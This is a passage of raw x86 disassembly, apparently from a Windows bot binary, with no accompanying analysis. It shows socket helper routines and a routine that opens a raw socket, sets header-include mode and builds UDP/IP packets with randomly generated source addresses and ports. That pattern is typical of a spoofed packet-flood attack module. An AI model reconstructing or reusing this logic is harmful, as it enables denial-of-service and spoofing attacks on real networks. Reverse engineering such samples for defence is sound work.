[eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41DF54 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call ds:dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call ds:dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call ds:dword_41DF5C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41DF54 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call ds:dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call ds:dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call ds:dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call ds:dword_41DF5C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call ds:dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call ds:dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call ds:dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call ds:dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41F018 call ds:dword_417244 ; inet_addr push eax 